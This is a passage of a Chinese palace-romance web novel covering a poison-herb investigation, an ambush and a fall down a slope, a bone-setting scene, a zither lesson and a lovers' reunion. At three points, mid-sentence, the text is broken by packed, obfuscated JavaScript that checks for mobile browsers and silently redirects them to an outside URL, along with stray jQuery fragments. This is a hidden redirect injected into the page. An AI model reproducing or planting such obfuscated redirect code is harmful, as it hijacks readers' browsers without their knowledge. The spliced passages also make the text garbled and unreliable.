云昌吉继续开口:“上次在紫……”杨柯抬手又是一掌,云昌吉的眼泪都要迸出眼眶,众人见状纷纷侧目,杨柯顺势干笑道:“啊哈哈,昌吉你也真是的,把这事说出来干甚?”话音落下,一阵马蹄声如急雨骤至,侍卫翻身下马,单膝跪地:“启禀殿下,林场有发现!” 宇文泰闻言抬眸,眼光如冷电,“什么发现?” “郡主落马处百步外,发现一束异草,此草从未在林场出现过。据医官所言,这草茎的纹路、汁液的色泽,都与典籍记载的柔然紫茎草极为相似。可他们未曾见过真物,实在不敢断言。”这话惊得众人脸色骤变——杨柯那日推断并非空穴来风,可是紫茎草向来生长于干旱之地,怎会出现在这片暖湿草甸? 章可馨凝眉道:“果然是有人蓄意谋害。” 宇文泰下令道:“备马,即刻去围场!” 章可馨慌忙上前半步,担忧道:“二哥,毒雾还未散尽,要不等到医官回来了再去?” “不必。”宇文泰接过侍从递来的缰绳,利落地翻身上马。 “殿下!”杨柯抢前半步,此事一直横在她的心头,听到侍卫的传报后,她也煞是不安。 宇文泰提缰回视她一眼,日光在他眉眼间投下冷硬阴影,杨柯顺势道:“我曾在柔然见过紫茎草,或许能帮上忙。” 宇文泰眉间凝滞了一瞬,终于点头:“上马。” 杨柯接过缰绳,翻身上马,跟着宇文泰的队伍一齐往林场赶去。 到了乐白那日坠马之地,那里已经被层层围住,几个身影正佝偻着蹲在枯黄的草地上,手中银针在残草间来回比划。见宇文泰勒马靠近,医官们慌忙起身,纷纷赶了上来。 “启禀殿下,这附近散落着不少异草汁液,”为首的白发老者疾步上前,手指指向一处枯黑草甸,暗紫色汁液附着其上,将触及的草木尽数染成焦炭色,“方圆十丈内,唯有此处残存着半株异草茎干。” 宇文泰盯着焦黑草甸,玄色衣袍被林间冷风吹得猎猎作响:“能断定是什么毒物?” 老者道:“依臣的经验,应当是西域的紫茎草。十年前此草在大夏境内灭绝,如今……” 他喉结滚动,声音陡然发颤,“如今茎叶还泛着妖异紫光,毒素怕是比记载中烈了十倍不止!” 宇文泰忽然侧首,目光扫向杨柯。杨柯顺势缓步上前,指尖悬在残茎上方三寸处,熟悉的腥甜气息混着腐草味钻入鼻腔,暗紫色汁液在日光下泛着诡异的冷光,正是记忆中在柔然沙漠里见过的模样,“是紫茎草,” 她直起身,补充道,“而且是成年植株的主茎。” 宇文泰对老者问道:“除了毒性增强,还有别的蹊跷?” “紫茎草绝迹十年,如今竟出现在皇家围场,绝非偶然!”老者一双浑浊黄眼盯着焦土上残存的紫黑色汁液,“此草生长在西域边陲,唯有前线军道能辗转流入。更可怕的是——”老人声音颤颤巍巍,声量也小了下去,“郡主坠马的可是陛下御赐的踏雪乌骓,有人敢对皇家坐骑下手……” 宇文泰骤然截住他的话:“够了。”他缓缓抬眼,扫过众人的目光带着实质威压,“此事若有片语流出,你们当知后果。” “老臣明白!”老者躬身负命,待他再抬头时,宇文泰已飞身上马,“其余人随本王继续搜查!” 杨柯也跟着上马,随着队伍继续往前。她紧握缰绳的掌心沁出冷汗,抬眼望向宇文泰紧绷的脊背,心中不免有些慨叹。既然紫茎草只能从前线军道流入,那这嫌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15399359|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疑岂不是分明指向兵部了?想到此,杨柯不禁感叹,吏部这招借刀杀人不可谓不狠,就算宇文泰能顺藤摸瓜揪出毒草源头,兵部也势必因监管不力遭御史弹劾。 行至一处,宇文泰命令众人分散搜查。杨柯只好乖乖跟在他身后,又瞥见他眉间紧簇,薄唇紧抿,于是试探问道:“殿下,你还好吗?” 宇文泰狐疑侧首,朝她漠然一瞥,而后继续往前。 杨柯暗自嘀咕:“怎么还不理人呢?” “你的一腔热情若无处安放,不妨去关心尚在养病的乐白,”他语气不咸不淡,说完还顿了顿,“——或者身在滁州的老七。” 杨柯这几日有了爱情滋润,心情自然不错,此时虽听他嘲讽,也不至于要像往常那般争锋相对,于是和声和气地道:“多谢殿下提醒。” 可宇文泰倒是冷哼一声:“不必谢我。更何况,我说的话,你会听?” 杨柯顿时感到奇怪,可她也不做多想,兀自咕哝道:“那倒是,你这种人向来不安好心。” 宇文泰陡然定住脚步,朝她问道:“不安好心?那你以为,宴席那晚我是为了阻止你爬上龙床才出言插手的?” 杨柯语气平淡:“难道你不这样想么?” 他又冷哼一声:“原是个沽名钓誉之人,老七怎会看上了你?” 杨柯听他提起伯喻,不禁怒道:“殿下在泼人脏水这方面也毫不逊色!”这一番鸡同鸭讲,二人之间还是剑拔弩张了起来。 宇文泰回呛道:“是么?分明是气我坏了你的好事吧。” 杨柯忽然一怔,这才明白他的意思,愤然道:“谁稀罕进宫当什么皇妃,你们的皇宫和监牢有什么差别!我恨不得现在就出去!” 宇文泰反倒笑出了声:“哦?看来我没帮倒忙了?” 她转念一想,自己真是误会他了,于是温言道:“你真是为了帮我?” 宇文泰斜了她一眼:“年纪轻轻,许配给谁不好。”说完便拂袖而去。 杨柯当即问道:“这话什么意思?” 他冷冷的声音从前方传来:“没什么意思。” 杨柯快步上前,好不容易追上他,喘着气道:“你怎地走这么快?” 他侧首一瞥,平静道:“是你走得太慢。” 杨柯忍不住揶揄起他来:“是啊,全天下的男人,就属羲王殿下腿最长,不仅能伸出皇宫,还能探进朔州呢!” 宇文泰闻言,蓦地定住脚步,缓缓朝着杨柯倾身靠近,在三寸之处停了下来,那双黑曜石般的眸子泛着幽冷光泽,温热的鼻息呼在她的脸颊上,带来一阵酥麻的异样。杨柯愣在原地,只听他一字一句地道:“我怎敢跟杨姑娘相比,命好之人,即便脚步拖沓,还有他人在身后周全。但我可没有,只好走得快些了。” 他话中之意无非讥讽伯喻对自己的情谊,杨柯愠怒道:“有人关心我与你何干?” 宇文泰嘴角扯起一抹冷淡的弧度,淡淡回道:“确实与我无关。所以,你要是走得慢,我可没那闲工夫等你。”说完,便施施然离去。 杨柯看着他的背影,心里不痛快,也不想跟上去,索性自己慢慢悠悠地荡在后头走。 没走几步,忽听得远处水声响亮,她心下大喜,赶紧向前。果然,正北方一条瀑布从高崖上直泻下来,轰轰作响,抬眼望去,犹如银河倒悬,珠玉四溅。山林中竟有如此美景,杨柯正感满心欢喜,忽然身后不远处爆出一声呼啸,她转头一看,只见一个黑衣人从树丛中暴跳而起,手持长剑朝着宇文泰突袭而去! 31.坠崖 “小心!”杨柯大喝一声,宇文泰闻声侧首,手腕刚刚攥上剑柄,一道寒光便扑面而来。他双足踏镫,腾地飞起,避开了来势汹汹的长剑。 杨柯见他身在半空无处借力,急忙扯下马缰挂着的绳索,用力一抛,如灵蛇般缠住三丈外古松,她纤腰一拧,借力荡起,鞋尖顺势踢飞两支飞镖,“抓绳子!”说话间已借势荡到宇文泰身侧。 黑衣人也去势加快,朝着二人呼呼砍去。 宇文泰抓起绳索,一个凌空拧身,靴底在马鞍借力一蹬,直踹黑衣人面门。那人举刀格挡,却被他顺势压着刀背往下一拖,刀锋顿时切入自己左肩。惨叫声中,宇文泰抬膝重击对方手腕,夺过长刀反手掷出,将五步外的另一名刺客钉在树干上。 电光火石间,却见第三支飞镖忽地飞出,直取宇文泰后心,杨柯瞳孔骤缩,几乎本能地合身扑上,胸前玄铁长弓“铛”地与那箭头迸出三尺火星,震得她虎口发麻,喉头腥甜。 “该死!”宇文泰怒喝声中透着三分焦急,“杨柯,让开!”话音未落,他一把将她扯到身后,玄色衣摆卷着凌厉罡风。就在此时,斜刺里又窜出两名黑衣人,手上弯刀泛着凛凛寒光。宇文泰左掌凌空拍出数道气劲,将逼近的暗器震得飞落;腾出右手抽剑横劈,两刀相撞迸出火星。 置身于打斗中的战马受了惊,扬蹄嘶鸣着原地打转,宇文泰旋身拽住缰绳借力跃起,靴底重重踹向此人面门。 忽见寒光转向,另一刺客如鬼魅般掠过宇文泰身侧,弯刀带起的劲风刮得杨柯鬓发倒竖。她旋身急退,幸好还有长弓横格在胸前,堪堪挡住这致命一击。可还没等站稳,杨柯忽感脚踝剧烈作痛,脚腕一摆,往前一滑,整个人顺着陡峭山坡翻滚而下:“啊——”她伸手抓向身旁灌木,却只攥住满手碎叶,恍惚中听见上头传来宇文泰的呼声。 碎石混着枯叶擦过脸颊,杨柯一路滚到坡底,右腿结结实实与一块巨石相撞。剧痛让她欲哭无泪,她张了张嘴,就连痛呼都卡在喉咙里,只能蜷着身子簌簌发抖。她顿时万分懊恼,气自己太过鲁莽。 玄金长靴碾碎枯叶的声响由远及近,宇文泰的身影笼罩下来:“伤到哪里?”他蹲在她身前,声音竟有一丝慌乱。 杨柯举起颤抖的手,指了指肿的发紫的右腿,喉间挤出气音:“那些刺客呢?” “不用操心,翔宇他们已经解决了。”宇文泰扯开她染血的裤脚,低头察看她腿上的伤势,杨柯疼得浑身抽搐,“摔得不轻,脱臼了。” 杨柯心里一沉,把脸埋进袖子里,两肩一耸一耸。 宇文泰以为她疼得哭了,手掌覆上她的发顶,柔声道:“别哭。在这儿等我。” 杨柯一愣,找树枝来干什么?等她抬头时,宇文泰已经折返,手里多了几根足足有手腕粗的树干。 “忍着点,”他将树干垫在她腿侧,“痛了此刻,之后便会好很多。” 杨柯这才反应过来他要为自己接骨,当即收腿想要逃跑,但却为时已晚:宇文泰已经一手捉住她的腿。另一手抓起她的脚腕,两手用力一推,一阵比撞击石头的痛感还要大十倍的痛苦顿时袭来。杨柯疼得眼冒金星,晕厥了一阵后才慢慢恢复清醒,而宇文泰竟然脱下了外衣,扯下自己内衬的软缎,撕成宽窄不一的布条,用方才捡的树枝固定住她的腿,再用布条包扎起来,动作十分娴熟。 杨柯歪着脑袋瘫在草堆里,半合着眼,气若游丝地笑道:“殿下的动作好生熟练。” 宇文泰的指尖顿了顿,“杨姑娘,我可不是豢养在宫里的金丝雀。”他凝神注视着手上动作,继续将布条缠得紧实,“我从十四岁便开始进军营,断骨流血的场面,可比这惨烈百倍。” 许是疼得意识混沌,杨柯竟撑着胳膊支起身子,学着宫里娘娘的腔调,拖长了尾音道:“小泰子——”她伸出指尖,虚点在他肩上,“本宫瞧着,你倒还有几分本事。” 宇文泰含笑抬眸:“多谢娘娘夸奖。”手上却突然发力收紧,杨柯顿时疼得吱呀乱叫。 等她安静了下来,宇文泰低沉轻笑道:“这话,原该是我来说。”他伸手擦过她汗湿的额头,难得收起了锋芒,“脱臼之痛钻心蚀骨,别说女人,就连寻常男子也承受不了。”他目光扫过她咬出血痕的下唇,“杨姑娘,你确实令人刮目相看。” 杨柯扯出个带泪的笑,学着他方才的语气:“多谢殿下夸奖。” 宇文泰利落地系紧最后一道绷带,掌心贴着杨柯的小腿轻轻按压,确认树枝稳固后,才揽住她的腰,将她扶向石壁,“靠着墙,这样血脉能顺些。” 杨柯倚着微凉的石壁,望着他垂眸的侧脸,夕阳的霞光为他的轮廓镀上一轮柔光,与记忆中那个冷峻的羲王简直判若两人。她感觉自己见了鬼,于是鬼使神差地问道:“我几时能走?” 宇文泰没应声,弯腰拾起两枚碗口粗的树干,指尖叩击两声:“试试。”见杨柯疑惑地瞅着自己,又屈指弹了弹她发顶:“拄着走。” “这……能行吗?”杨柯迟疑着接过树干,粗糙的纹路蹭得掌心发痒。可当她试着撑起身子,两根木杖稳稳支住重心时,眼底顿时一亮,“真的可以!那我们是不是……” “你知道回去的路?”宇文泰突然打断她,凌厉目光直刺过来,“这山林地势复杂,就算有双好腿都未必找得到出路。更别提……”他的视线落在她肿得发亮的脚踝上,“瘸着走。” 杨柯这才惊觉,他们本就离原来出发的地方跑了将近一个时辰,又在混战中偏离路线,如今早不知身在何处。况且离瀑布这么近,水流湍急,响声巨大,就算是吼破了嗓子也没人听得见。 宇文泰撩袍坐下,往后一靠,懒懒道:“我也不知道路。”语气平淡得像是在说今日的天气。 杨柯惊呼:“那我们岂不是被困在林子里了?” 宇文泰凉凉道:“眼下只能等援军,或是自己寻路。”他望着暮色渐浓的山谷,喉结微动,“不过看这地势……” 杨柯垂眸盯着自己肿得像馒头的右腿,“可我的腿……”她神色为难,又眨着眼睛无辜地看向对方。 宇文泰眉峰一挑:“怎么,想让本王当你的脚力?”偏头时,发冠上的金饰在夕阳下晃出刺眼亮光,却掩不住他眼底跳动的促狭。 杨柯立刻咧嘴一笑:“殿下要是愿意,我也不嫌弃。” 宇文泰嗤笑一声:“得了便宜还卖乖。”他扭过头去,猛地起身,玄色衣摆扫过满地碎石,他抬脚踢开挡路的枯枝,背对着她丢下句,“先熬过今晚,明日再议。” 杨柯怕他要扔下自己不管,忙问道:“你要上哪去?” 他头也不回:“去找点吃的,不然今晚我们俩得饿死在这。” 宇文泰离开后,杨柯靠着石壁缓过气来,才发觉冷汗浸透的里衣已被体温焐干。一阵微风吹来,裹挟着艾草和松针的清香,让人神清气爽。 很快,宇文泰手里拎着一串野果子走了回来,“尝尝?”他随手抛来两颗,果子砸在杨柯膝盖头,“山莓,酸甜口的。” “好多了,谢谢你。”杨柯捏着果子,忽然认真的看向他。 听到她突然的道谢,宇文泰眼底露出讶异,旋即又恢复了平日里的冷淡表情:“从你嘴里抠出个谢字,比我单挑十个刺客还难。” 毕竟是真心感谢,杨柯并不理会他的嘲讽,继续道:“若不是你追下来,我怕是早被这山崖吞了。”她声音很轻,却十分诚恳,“况且,还连累你一起被困,怎么说都是我的不是。” 宇文泰闻言挑眉,扬唇一笑,朝她缓步逼近:“既然是拖累,那你打算如何报答?” 杨柯突然挺直脊背:“等出去后,我定当重金答谢。” 宇文泰语气忽而淡下来:“重金就不必了。” 杨柯接道:“那就换别的。” 他继续问道:“换成什么?” 杨柯未料他竟真的应承下来,脸上一愣,而后郑重说道:“等我们出了山林,你要什么都行。今日算我欠你一个人情。” “这话,本王可记下了。”说着他脸上浮现出一丝邪笑。 杨柯下意识护住胸口,结结巴巴道:“但……但你不能要我的命,也不能……” 宇文泰抬手往嘴里扔进一颗山莓,泻出一声嗤笑:“放心,我对你没兴趣。” 杨柯松了口气:“那就好。” 接着一阵沉默,宇文泰忽然举起长剑,冷光一闪,他的手臂上多出一道裂口,鲜血瞬间汩汩流出。 杨柯倒吸一口冷气:“宇文泰你……” 宇文泰垂眸看着汩汩涌出的鲜血,冷笑中带着几分嘲讽:“盯着我做什么?” “你莫不是觉得我们被困死在这儿,彻底疯了吧?!”杨柯挣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15406695|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扎着想爬起来,却又笨重地跌回原地,只能伸出颤抖的手去够他染血的衣袖,“有话好好说,犯不着自残啊!” 宇文泰对她漠然一瞥:“不必管我。” 杨柯呆望着他,喃喃道:“原来我爹没说错,世间真有发疯到自虐的疯子。” “疯子?”宇文泰轻笑一声,“我可不是疯子。” “殿下,拿刀划伤自己这种事,一般人可干不出来。” 他的额头上冒出了些细汗:“我是为了打消父皇的猜忌。” 杨柯听得一头雾水,宇文泰继续道:“乐白落马一事,幕后指使者到底是谁,目前还未查明,但他动手脚的那匹马是御马。整个马场都由我控制,毒草还来自前线,如今出了事,你说究竟应该怪谁?” 杨柯眼角跳了跳,顺着他的话继续道:“你的意思是,此人想要栽赃陷害你,引起陛下疑心?” 宇文泰擦拭剑身的动作微微一顿:“我不能肯定,但戏码得做足了。” 杨柯仔细一想,他愿意出手解救自己,也是为了让陛下以为他遭受暗算,从而减轻疑虑。 她接着问道:“难道方才的刺客也是你故意指使的?” “不然呢?”宇文泰抽回手,漫不经心地甩去剑上血珠,“想要打消父皇的猜忌,总得有人当这场戏的‘苦肉’。” “那我岂不是白替你挨了那一剑!”杨柯大叫一声,接着眼珠一转,“这么看来,我欠你的人情,算是两情了。” 宇文泰冷哼一声:“可以这么说。” 杨柯望着他手上包扎的动作,又问道:“若是有人故意陷害你,这回他没得手,以后你要怎么办?” 宇文泰隐约一笑:“你还是操心操心自己的腿吧。”他已经自己将伤口包扎完毕,利落地将外衣铺在地面,顺势躺了下去,两手枕着脑后,火光在他下颌投下明暗交错的阴影。 杨柯见他躺下睡去,也挪了挪身体,躺在了地上。心思旋即飞到了千里之外的滁州,伯喻此刻在做什么呢?他身体可还安全?念及此,杨柯的心里一阵复杂,不禁轻轻叹了口气。 宇文泰的声音传来:“这种时候,烦心的事就不要去想了。” 听了他的话,杨柯心里仿佛被点了一下,旋即明白他的意思,忍不住说道:“谢谢你。” 他哼了一声,转了个身,便没了声音。杨柯也收回了心思,闭上眼,沉沉睡去。 也许是昨日摔了一跤,杨柯这晚上睡得格外沉,早上被林子里出来觅食的小兔子给舔醒。 她睁开睡眼,往四处张望,宇文泰早已不见踪影,昨夜的火堆也燃烧殆尽。坐起身,一件玄色的外袍从身上滑了下来,看来他并未离开。 方才叫醒杨柯的兔子也没走,在她腿边磨磨蹭蹭,嘴里含着新鲜的树叶。 杨柯见它嗫嗫嚅嚅,粉嫩的耳朵随着嘴巴的动作歪歪扭扭,甚是可爱,让她想起了庆宁郡主。她俯下身子,一手摸着兔子的毛,一边将脸贴近小兔子,绒毛软软滑滑,心里甚是满足。 “可算是睁眼了。”宇文泰从远处徐徐走来,声音里难得带着几分轻快。 杨柯抬手挡住刺目的光线,眯着眼辨认来人轮廓:“你去哪儿了?” “我在山坡顶上发现了昨日骑过的马,那畜生倒念旧。守在昨日落崖处整整一夜。”他拾起地上的外衣,“咱们骑着马,应该能找到出去的路。” 二人来到了山坡底下,杨柯刚扶住树干,站稳脚跟,忽听宇文泰道:“抱紧我。” 杨柯顿时蒙了,顺着山坡向上望去,才反应过来宇文泰得抱着自己,两人才能飞上去。 宇文泰又重复道:“现在不抱紧,等会掉下来我可不负责。” 杨珂应了一声,倾身向前,双手环着他的脖颈,低头等待他的动作。可过了半晌,宇文泰都一动不动。杨柯狐疑地抬头瞧他,他无奈道:“我是让你抱紧我,不是让你勒紧我。”原来杨柯死死地扣住了宇文泰的脖子,勒得他脸色发红,连气息都运不上来。 杨柯抱歉地笑了笑,旋即放了些手上的力气。 须臾之间,只听呼的一声,宇文泰脚下一点,二人便凌空跃起。宇文泰的轻功极为高超,抱着杨柯却丝毫不显笨拙,反而更加游刃有余。 终于,二人稳稳地落在了山坡上,宇文泰将手放在嘴边吹哨,一匹黑色骏马奔腾而来。 32.回宫 等黑马停在他们身前,宇文泰托起杨柯的腰,双手用力将她送到了马背上,很快,他也坐了上来。 “驾!”宇文泰拍马提缰,黑马四蹄翻飞,向前疾驰。 “你知道往哪个方向走?”杨柯见他胸有成竹地行进,忍不住询问。 “早晨我骑着穷奇走了一圈,做了标记,竟然找到当时打斗遗留下的箭矢,顺着脚印往外走,兴许能找到些新的线索。” 杨柯顺着他的思路问道:“若我们在那附近等待,是不是就能等到救兵?” “希望如此。”宇文泰简短地回应,思绪专注在寻找标记上。 “殿下——”一声高喝远远传来,杨柯应声大呼:“我们在这里!” 所幸云昌吉带领的禁军队伍及时赶到,接应受伤的宇文泰和杨柯返回营地。皇帝得知二人平安,龙颜大悦,亲自前来探望。但见他二人一个瘸了腿,一个手臂受伤,又是心痛不已,当即下令彻查林场可疑之人。 过了两三日的光景,一行人马便启程回宫。杨柯坐在回城的轿辇之上,望着帘外闪过的风景,想起了这几日发生过的种种,宴席上的惊险,乐白的坠马,伯喻的告白,宇文泰的照顾……她只希望能留下美好的,那些不幸的,在未来的日子里可以转圜。 日子又回到了以前的模样,唯一让杨柯苦恼的便是郑钦的琴术课。一日下课后,杨柯又被他留在琴音馆里,罚练一个时辰。郑钦乃郑仪之子,这人也是怪,郑仪此人虽不大靠谱,但郑家好歹也是名门世家,几代在朝为官,可这郑钦却对仕途毫无兴趣,只喜欢弹琴,还考进了皇宫的尚音局做司音,因而跟伯喻的关系也极为亲近。 “若今日还练不好,便不准回宫。” 杨柯抬眼瞄他,见他目光全然放在自己的琴上,便偷偷运功作起弊来。 “若再用气,便多加一个时辰。”猛一抬头,郑钦正定定地看着自己。 杨柯尴尬地收回了手腕,纳闷腹诽道:“这也能看见?怎么搞的?” 他在十尺开外答道:“你会武功,不代表我不会。” 她惊讶道:“你居然也会轻功?为何还待在宫里?” 他翻了个白眼:“我跟你不同,在下可有官职在身,拿的是朝廷的俸禄!”说着双手抱拳,往空中作了一揖,和他面前的古琴搭配着看竟格外的滑稽。 杨柯故意激他道:“什么官职,别告诉我是琴师吧?” 他脸僵了一僵,忙道:“不错,琴师的身份岂是凡夫俗子所能企及?要担任此职,首先需精通古今乐理,无论是雅乐还是俗曲,都得如数家珍,信手拈来。” 说到此,杨柯突然想到了上次在观星阁内伯喻提到的《广陵散》,于是道:“那师父可知道嵇康的《广陵散》?” 他眉头一立,又气又急:“你当我是什么草包?《广陵散》乃天下名曲,谁人不知?” 杨柯笑道:“郑师父当然知道了。徒弟前几日翻阅古代琴谱,看了广陵散,书上面说嵇康被处决后,广陵散不幸失传,后人找到了琴谱,却一直在最后一音上颇有争论,徒弟甚是好奇,师父乃皇家琴师,千挑万选而来,可晓得《广陵散》的最后一个音是什么调?” 郑钦清了清嗓子:“自然是角调。” 居然答对了,郑钦见杨柯面露惊讶,脸上浮现出得意之色,又继续道:“嵇康乃性情高洁之名士,在养生之道上颇有研究,悟得邙山乃华夏生灵之脐,临死前神驰邙山,奏出了角调,只因五行五音中,邙山对应于角音。” 杨柯心想,还不算是个附庸风雅之人,她改口拍起了马屁:“郑师父好修养,终于解了徒儿这段时间的困惑。” 郑钦不好意思地摇了摇头:“哪里哪里,这是为师应该做的。”想了下,又娓娓道来,“这琴师的选拔,琴艺需达到炉火纯青之境,指尖跳跃间,不仅要能演绎出高山流水的意境,更要能触动人心,令听者或喜或悲,情感随之起伏。”说着,便上手开始演奏了,一阵琴音从他手底流泻而出。 杨柯一手撑着头,只想让他自己把这一个时辰给耗过去,到了点自己即刻走人便是,于是在一旁乖乖看着。 一曲弹毕,杨柯又开口道:“这琴曲好像在哪里听过?” 他闻言道:“这便是高山流水。当年伯牙子期的名曲。” “果然,听师父曲中意,幽回婉转,如泣如诉,好像听见伯牙在徒弟耳边哀叹一般。” 他见杨柯摇头感叹,敞怀大笑,笑完又立刻变了脸色:“杨柯,别以为我不知道你在跟我耗时间,你的疑惑我也给你解答了,现在可以好好练了吧?” 未料到自己的小伎俩被他识破,杨柯刚要狡辩,他又道:“亏你还从我这儿借了不少琴谱,怎么琴技一点儿不见长?” 这琴谱当然不是给她自己练的,是拿出去给红娘准备曲目的,她自然不可能如实招来,于是打哈哈道:“那还不是没有师父如今这般手拿把掐地指导,之前浪费了那些时间,练了也是白练。” 郑钦道:“听你的意思,是想日日在我这琴音馆里泡着了?” 她忙摇头干笑:“师父日理万机,哪里来的这么多时间监督徒弟呢?徒弟还是不给师父添麻烦了。” “我听闻宣王殿下同你走得很近,他琴技精绝,你怎么一点儿好没学到?” 被人提起的甜蜜似乎总有双倍的幸福。杨柯的脸上忍不住漾开一个笑,郑钦自然将她的反应看在眼里,啧起了嘴:“你们两个果然有猫腻。” “松风,怎么今日不练琴,反倒折磨起学生来了?”郑钦的话音刚落,伯喻的声音便传了进来。 杨柯心下大喜,忙探头望去:“伯喻!” 他走进门,带着一身的余晖,清隽身影在夕阳下卓然而立。 “说曹操曹操到。”郑钦笑着摇头,站起身来迎接他,“大忙人怎么有空来我这儿了?” 伯喻笑了笑:“我来向郑先生要人。”说完转头看向杨柯,眼里满是温柔。 郑钦见他二人此刻便旁若无人起来,于是没好气道:“好嘛,恩爱到我跟前儿了。可是我的徒弟还没练完,还请宣王殿下一个时辰后再来。” “哪里是一个时辰,都过了大半了!”杨柯急得大声纠正。 郑钦扬了扬眉:“我说一个时辰就是一个时辰,方才你与我费了那么多口舌,练了几时的琴?” 杨柯泄下气来,一屁股坐到了垫子上。 伯喻向她望了一眼,示意其不必担心,接着对郑钦道:“无妨,练琴而已,我带她去别处练,可好?” 郑钦装作好奇:“你们会好好练吗?”他的目光在他们身上徘徊,“别以为我不知道你们想糊弄我,必定又要去哪儿谈情说爱了。” 杨柯扮作可怜状:“郑师父,反正你把我按在这儿练,我也不会乖乖听话,倒不如让我跟了殿下去,他说的话我一定听。” 郑钦动摇了一瞬,犹疑地看了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15416000|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看她,又看了看伯喻。伯喻对他点了点头,郑钦只好无奈道:“好吧,我也不做招人嫌的法海了。不过我再最后嘱咐一句,下节课前一定要学会这首《湘妃三绝》。” 杨柯忙点头答应,赶紧从垫子上起身,几步奔到伯喻身边,“师父放心吧。” 郑钦手一挥:“快走吧,快走吧。” 二人许久不见,竟有些近乡情怯,杨柯小心开口道:“伯喻,你何时回的京?” 他答道:“方才。” 檐下风铃突然被风撞得叮铃作响,杨柯惊讶地望向伯喻,伯喻也含笑回视,两人心里顿时有如清泉般甘甜。 伯喻执起她的手,“你的腿怎么样了?”说着领她坐到了花园中的石椅上,低头便要查看她的右腿。 杨柯忙道:“不打紧,养了这些天,早就能走路了。” 伯喻的脸上露出担忧,还是蹲下了身子,伸手检查前,抬头看向杨柯,征求她的同意。 杨柯的脸不自觉地红了一些,点点头。 他一边检查一边道:“骨折处倒是接的不错,过几天就可痊愈,不过伤筋动骨一百天,还是不要多走动的好。” 想到坠下山崖的经历,杨柯不禁感叹:“多亏了宇文泰,要不是他,我不知道得在山林里耗多少天。” 伯喻的脸色僵了一瞬,杨柯立刻意识到说错了话,摇着头装作愤慨,找补道:“宇文泰这人也够粗手粗脚的,接骨的时候差点儿没把我疼晕过去。”说完又感觉还不如不说,救自己的是宇文泰,替自己接骨的还是宇文泰,她心中懊悔不已,还想开口,却见伯喻淡淡笑道:“阿柯,你无须因此自责,该自责的人是我。这些事,应当是我来做。” 杨柯心中感动,于是劝道:“当时你有公务在身,不在我身边也很正常。这次是我自己贪玩儿,不小心掉下去摔到了腿。” 伯喻轻轻抚过她腿上缠绕着的丝带:“这样的事不会再发生了。无论我到哪儿,都会让你在我身边。” 杨柯见他面容严肃,不想气氛沉闷下去,忍不住调侃:“那你睡觉的时候,也要我在身边?” 他笑着宠溺道:“你若愿意,又何尝不可?” 杨柯倒是被他这句话撩拨得脸红,只好佯怒道:“哪里有未出阁的女子和别的男子同寝的道理?” 他接道:“那我就把你娶回家。”还没等她反应过来,便蹲下身子,拉起她的手臂,将她从石椅上背了起来。 杨柯登时大惊,赶忙低声道:“伯喻,快放我下来!这是在宫里,不是在塞外,大家都会看见的!” 他神色自若:“让他人看见又如何?你我本就是一对。” 远处路过的宫女瞧见他们,羞得低下头慌忙走远。 杨柯无奈,只好任由他背着自己往前走。靠在他的肩膀上,颈间的松香幽幽传来,心里满是安心和甜蜜。 “伯喻,这些天在滁州开心吗?” 他笑着道:“有阿柯记挂着,我当然开心。” 听得杨柯心里暖暖的,又问道:“滁州的事可否棘手?有没有大臣刁难你?”虽然这些寥寥言语对伯喻来说并没有什么用处,他十五岁便开始协理政务,对付朝堂上下的官员恐怕早已驾轻就熟,哪里需要自己去担忧,但杨柯还是忍不住向他询问。 只听伯喻轻轻一笑:“阿柯放心,这些事办起来不难,也没有人会为难我。” 杨柯趴在他的颈窝,轻轻嗯了一声。 33.甜蜜 熏熏晚风吹来,脸上暖融融的。二人行至承影湖边,暗处竟驶出一艘乌篷船!杨柯揉了揉眼睛,再三确认眼前所见,这船的样式只会在江南出现,况且平日里承影湖上游弋的也都是雕梁画栋的绮丽舫舟,哪里来的这只小船? 伯喻似乎看懂了她的疑惑,含笑解释道:“阿柯说曾经去过越州,我想你或许会思念在越州的日子,于是命人运了艘乌篷船送来宫里。” 原是在他殿内的一句无心之语,伯喻竟记到了现在!杨柯心头蓦地泛起层层暖意,好像馋着许久糖果的稚子,突然捧得了满怀的甜蜜。 “从越州专程送来的吗?”杨柯惊讶问道,她眼前的船身与记忆中的如出一辙,船篷覆盖着青黛色的竹篾,随风轻轻摇曳,船头立着一位船夫,身着粗布衣裳,带着草帽,他双足上的草鞋都与越州河畔的一模一样。 伯喻轻声答道:“正是。” 杨柯探头往船里望去,黑漆漆的湖面与船头融为一体,一时间又是喜又是怕,不敢跨过脚步去。 伯喻见她犹豫,率先登上船头,转身向她伸出手臂:“扶着我的手。” 